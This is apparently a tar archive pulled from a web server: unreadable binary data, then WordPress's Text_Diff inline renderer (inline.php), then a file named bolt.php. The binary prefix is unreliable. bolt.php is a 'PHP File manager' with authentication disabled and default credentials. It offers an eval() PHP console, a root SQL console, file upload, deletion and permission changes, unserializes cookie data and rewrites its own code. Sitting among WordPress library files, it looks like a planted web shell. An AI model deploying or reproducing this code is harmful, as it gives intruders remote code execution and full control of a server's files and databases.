qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
